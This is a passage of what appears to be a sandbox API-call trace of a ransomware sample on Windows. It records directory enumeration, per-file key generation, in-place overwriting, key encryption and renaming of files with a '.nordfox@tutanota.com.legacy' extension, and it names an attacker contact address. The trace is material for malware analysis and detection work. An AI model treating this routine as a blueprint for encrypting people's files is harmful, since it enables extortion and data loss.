dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0105.524] FindNextFileW (in: hFindFile=0x5a0a68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0105.524] GetLastError () returned 0x0 [0105.524] SetLastError (dwErrCode=0x0) [0105.524] GetLastError () returned 0x0 [0105.524] SetLastError (dwErrCode=0x0) [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0105.524] GetLastError () returned 0x0 [0105.524] SetLastError (dwErrCode=0x0) [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5a0 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5a0 | out: hHeap=0x520000) returned 1 [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0105.524] FindNextFileW (in: hFindFile=0x5a0a68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0105.525] GetLastError () returned 0x0 [0105.525] SetLastError (dwErrCode=0x0) [0105.525] GetLastError () returned 0x0 [0105.525] SetLastError (dwErrCode=0x0) [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0105.525] GetLastError () returned 0x0 [0105.525] SetLastError (dwErrCode=0x0) [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0105.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0105.525] FindNextFileW (in: hFindFile=0x5a0a68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d577ca, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d577ca, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0105.525] GetLastError () returned 0x0 [0105.525] SetLastError (dwErrCode=0x0) [0105.525] GetLastError () returned 0x0 [0105.525] SetLastError (dwErrCode=0x0) [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0105.525] GetLastError () returned 0x0 [0105.525] SetLastError (dwErrCode=0x0) [0105.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0105.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0105.526] FindNextFileW (in: hFindFile=0x5a0a68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0105.526] GetLastError () returned 0x0 [0105.526] SetLastError (dwErrCode=0x0) [0105.526] GetLastError () returned 0x0 [0105.526] SetLastError (dwErrCode=0x0) [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0105.526] GetLastError () returned 0x0 [0105.526] SetLastError (dwErrCode=0x0) [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0105.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0105.526] FindNextFileW (in: hFindFile=0x5a0a68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0105.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0105.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0105.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0105.526] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0105.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0105.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0105.527] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0105.527] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14168) returned 1 [0105.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3758) returned 0x5c0f88 [0105.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3758) returned 0x5c46e8 [0105.527] ReadFile (in: hFile=0x4d8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x3758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x3758, lpOverlapped=0x0) returned 1 [0105.535] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=-14168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.536] WriteFile (in: hFile=0x4d8, lpBuffer=0x5c46e8*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c46e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3758, lpOverlapped=0x0) returned 1 [0105.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c46e8 | out: hHeap=0x520000) returned 1 [0105.536] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3758 [0105.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.536] WriteFile (in: hFile=0x4d8, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.537] WriteFile (in: hFile=0x4d8, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.537] CloseHandle (hObject=0x4d8) returned 1 [0105.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0105.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0105.537] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0105.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0105.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.539] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0105.539] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0105.539] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=60684) returned 1 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xed0c) returned 0x5c0f88 [0105.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xed0c) returned 0x2f20048 [0105.541] ReadFile (in: hFile=0x4d8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xed0c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xed0c, lpOverlapped=0x0) returned 1 [0105.554] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=-60684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.554] WriteFile (in: hFile=0x4d8, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0xed0c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xed0c, lpOverlapped=0x0) returned 1 [0105.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.560] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xed0c [0105.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.561] WriteFile (in: hFile=0x4d8, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.561] WriteFile (in: hFile=0x4d8, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.561] CloseHandle (hObject=0x4d8) returned 1 [0105.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0105.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.561] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0105.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0105.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0105.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0105.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0105.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0105.563] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x80) returned 1 [0105.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0105.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0105.564] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0105.564] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5827) returned 1 [0105.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16c3) returned 0x5c0f88 [0105.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16c3) returned 0x5c2658 [0105.564] ReadFile (in: hFile=0x4d8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x16c3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x16c3, lpOverlapped=0x0) returned 1 [0105.577] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=-5827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.577] WriteFile (in: hFile=0x4d8, lpBuffer=0x5c2658*, nNumberOfBytesToWrite=0x16c3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c2658*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16c3, lpOverlapped=0x0) returned 1 [0105.577] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.577] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c2658 | out: hHeap=0x520000) returned 1 [0105.577] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16c3 [0105.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.578] WriteFile (in: hFile=0x4d8, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.578] WriteFile (in: hFile=0x4d8, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.578] CloseHandle (hObject=0x4d8) returned 1 [0105.578] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0105.578] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0105.578] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\2052\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0105.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0105.580] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0e68 [0105.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0105.580] GetLastError () returned 0x0 [0105.580] SetLastError (dwErrCode=0x0) [0105.580] GetLastError () returned 0x0 [0105.580] SetLastError (dwErrCode=0x0) [0105.580] GetLastError () returned 0x0 [0105.580] SetLastError (dwErrCode=0x0) [0105.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0105.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0aa8 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0aa8 | out: hHeap=0x520000) returned 1 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0105.581] FindNextFileW (in: hFindFile=0x5a0e68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0105.581] GetLastError () returned 0x0 [0105.581] SetLastError (dwErrCode=0x0) [0105.581] GetLastError () returned 0x0 [0105.581] SetLastError (dwErrCode=0x0) [0105.581] GetLastError () returned 0x0 [0105.581] SetLastError (dwErrCode=0x0) [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0b68 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0b68 | out: hHeap=0x520000) returned 1 [0105.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0105.581] FindNextFileW (in: hFindFile=0x5a0e68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0105.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.582] GetLastError () returned 0x0 [0105.582] SetLastError (dwErrCode=0x0) [0105.582] RtlAllocateHeap 